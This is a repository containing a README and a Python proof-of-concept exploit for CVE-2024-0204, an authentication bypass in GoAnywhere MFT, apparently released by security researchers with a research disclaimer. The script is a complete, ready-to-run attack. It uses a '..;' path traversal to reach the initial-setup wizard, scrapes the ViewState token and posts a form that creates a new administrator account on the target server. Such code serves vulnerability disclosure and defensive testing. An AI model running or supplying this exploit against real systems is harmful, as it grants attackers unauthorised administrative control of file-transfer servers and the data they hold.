├── README.md └── CVE-2024-0204.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-0204: Authentication Bypass in GoAnywhere MFT 2 | Script to create a new admin user in GoAnywhere MFT. 3 | 4 | ## Blog Post 5 | More details here: 6 | [https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive](https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/) 7 | 8 | ## Usage 9 | Password must be at least 8 characters long to meet GoAnywhere MFT complexity requirements. 10 | 11 | ``` 12 | % python3 CVE-2024-0204.py -h 13 | usage: CVE-2024-0204 GoAnywhere Authentication Bypass [-h] 14 | endpoint username 15 | password 16 | 17 | positional arguments: 18 | endpoint The endpoint URL (e.g., http://127.0.0.1:8080) 19 | username New admin username 20 | password New admin password 21 | 22 | optional arguments: 23 | -h, --help show this help message and exit 24 | ``` 25 | 26 | ## Follow the Horizon3.ai Attack Team on Twitter for the latest security research: 27 | * [Horizon3 Attack Team](https://twitter.com/Horizon3Attack) 28 | * [James Horseman](https://twitter.com/JamesHorseman2) 29 | * [Zach Hanley](https://twitter.com/hacks_zach) 30 | 31 | ## Disclaimer 32 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. 33 | -------------------------------------------------------------------------------- /CVE-2024-0204.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import argparse 4 | 5 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | 10 | def validate_password(password): 11 | if len(password) < 8: 12 | raise argparse.ArgumentTypeError("Password must be at least 8 characters long.") 13 | return password 14 | 15 | 16 | def main(): 17 | parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass") 18 | parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)") 19 | parser.add_argument("username", help="New admin username") 20 | parser.add_argument("password", help="New admin password", type=validate_password) 21 | args = parser.parse_args() 22 | url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml" 23 | 24 | data = { 25 | "j_id_u:creteAdminGrid:username": args.username, 26 | "j_id_u:creteAdminGrid:password_hinput": args.password, 27 | "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2", 28 | "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password, 29 | "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2", 30 | "j_id_u:creteAdminGrid:submitButton": "", 31 | "createAdminForm_SUBMIT": 1, 32 | } 33 | 34 | s = requests.session() 35 | r = s.get(url, verify=False) 36 | if r.status_code == 401: 37 | raise Exception("Endpoint does not appear to be vulnerable.") 38 | 39 | soup = BeautifulSoup(r.text, "html.parser") 40 | input_field = soup.find('input', {'name': 'javax.faces.ViewState'}) 41 | data['javax.faces.ViewState'] = input_field['value'] 42 | r = s.post(url, verify=False, data=data) 43 | 44 | if r.status_code != 200: 45 | raise Exception("Failed to create new admin user") 46 | 47 | soup = BeautifulSoup(r.text, "html.parser") 48 | error_message = soup.find("span", {"class": "ui-messages-error-summary"}) 49 | if error_message is not None: 50 | raise Exception(error_message.text) 51 | 52 | 53 | if __name__ == "__main__": 54 | main() 55 | --------------------------------------------------------------------------------